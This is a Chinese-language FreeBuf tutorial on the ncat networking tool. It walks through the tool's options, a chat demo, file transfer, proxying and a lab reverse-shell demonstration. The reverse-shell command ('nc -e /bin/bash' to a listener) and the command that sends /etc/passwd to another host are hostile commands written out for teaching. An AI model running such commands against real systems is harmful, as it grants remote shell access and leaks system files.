freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

ncat学习手册
FreeBuf_455436 2024-05-19 16:48:20 124717

0x00 ncat简介

我们目前安装的nc全称是Ncat,是对NetCat的改进和重新实现,是一个非常丰富的网络程序,最初是为Nmap项目所编写,只是后来独立出来了。他虽然只是一个小工具,但是已然是运维手中的瑞士军刀。Ncat能够做的事情很多,比如 端口探测、端口扫描、传输文件、搭建代理等等。


注意: 笔者担心第三方翻译失去了原有韵味,故这里放一下原版man手册的描述

DESCRIPTION:

Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the Nmap Project and is the culmination of the currently splintered family of Netcat incarnations. It is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Ncat will not only work with IPv4 and IPv6 but provides the user with a virtually limitless number of potential uses.

Among Ncat's vast number of features there is the ability to chain Ncats together; redirection of TCP, UDP, and SCTP ports to other sites; SSL support; and proxy connections via SOCKS4 or HTTP proxies (with optional proxy authentication as well). Some general principles apply to most applications and thus give you the capability of instantly adding networking support to software that would normally never support it.


0x01 nc的用法和参数

[root@localhost ~]# nc -h
Ncat 7.50 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]

Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
-4                         Use IPv4 only
-6                         Use IPv6 only
-U, --unixsock             Use Unix domain sockets only
-C, --crlf                 Use CRLF for EOL sequence
-c, --sh-exec <command>   Executes the given command via /bin/sh
-e, --exec <command>       Executes the given command
 --lua-exec <filename> Executes the given Lua script
-g hop1[,hop2,...]         Loose source routing hop points (8 max)
-G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
-m, --max-conns <n>       Maximum <n> simultaneous connections
-h, --help                 Display this help screen
-d, --delay <time>         Wait between read/writes
-o, --output <filename>   Dump session data to a file
-x, --hex-dump <filename> Dump session data as hex to a file
-i, --idle-timeout <time> Idle read/write timeout
-p, --source-port port     Specify source port to use
-s, --source addr         Specify source address to use (doesn't affect -l)
-l, --listen               Bind and listen for incoming connections
-k, --keep-open           Accept multiple connections in listen mode
-n, --nodns               Do not resolve hostnames via DNS
-t, --telnet               Answer Telnet negotiations
-u, --udp                 Use UDP instead of default TCP
 --sctp                 Use SCTP instead of default TCP
-v, --verbose             Set verbosity level (can be used several times)
-w, --wait <time>         Connect timeout
-z                         Zero-I/O mode, report connection status only
 --append-output       Append rather than clobber specified output files
 --send-only           Only send data, ignoring received; quit on EOF
 --recv-only           Only receive data, never send anything
 --allow               Allow only given hosts to connect to Ncat
 --allowfile           A file of hosts allowed to connect to Ncat
 --deny                 Deny given hosts from connecting to Ncat
 --denyfile             A file of hosts denied from connecting to Ncat
 --broker               Enable Ncat's connection brokering mode
 --chat                 Start a simple Ncat chat server
 --proxy <addr[:port]> Specify address of host to proxy through
 --proxy-type <type>   Specify proxy type ("http" or "socks4" or "socks5")
 --proxy-auth <auth>   Authenticate with HTTP or SOCKS proxy server
 --ssl                 Connect or listen with SSL
 --ssl-cert             Specify SSL certificate file (PEM) for listening
 --ssl-key             Specify SSL private key (PEM) for listening
 --ssl-verify           Verify trust and domain name of certificates
 --ssl-trustfile       PEM file containing trusted SSL certificates
 --ssl-ciphers         Cipherlist containing SSL ciphers to use
 --version             Display Ncat's version information and exit

See the ncat(1) manpage for full options, descriptions and usage examples

0x02 nc功能演示1--聊天

只需要简单两步,即可开始聊天

主机A: nc -l 8888

image-20240503021909869

主机B:nc 主机A_ip 8888

image-20240503022257159

主机B,输入聊天内容

image-20240503022213248

此时A可以收到消息,并回复

image-20240503022423238

最后看一下B这边的效果

image-20240503022503645

聊天功能基本已经实现了,就是体验不是很好

0x03 nc功能演示2--文件传输

官方例子如下:

   Send a file over TCP port 9899 from host2 (client) to host1 (server).
      HOST1$ ncat -l 9899 > outputfile
      HOST2$ ncat HOST1 9899 < inputfile

  Transfer in the other direction, turning Ncat into a “one file” server.
      HOST1$ ncat -l 9899 < inputfile
      HOST2$ ncat HOST1 9899 > outputfile

主机A:nc -l 8888 >passwd.txt

image-20240503022859882

主机B: nc 192.168.233.128 8888 < /etc/passwd

image-20240503022957545

最后主机A查看文件

image-20240503023102518

0x04 nc功能演示3--反弹shell

主机A: nc -lvvp 8888

image-20240503023252174

主机B: nc -e /bin/bash 192.168.233.128 8888

image-20240503023410625

回到主机A,开始控制主机B

image-20240503023638035

注意:这里nc反弹shell默认是明文的,黑客一般还会配置ssl证书加密,大家要注意防护哦

0x05 其他功能

a.创建一个http代理

Create an HTTP proxy server on localhost port 8888.
  ncat -l --proxy-type http localhost 8888

b.tcp数据包重定向

Redirect TCP port 8080 on the local machine to host on port 80.
  ncat --sh-exec "ncat example.org 80" -l 8080 --keep-open


如果你还知道其他功能,欢迎在评论区留言讨论

# 网络安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_455436 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_455436 LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者
文章目录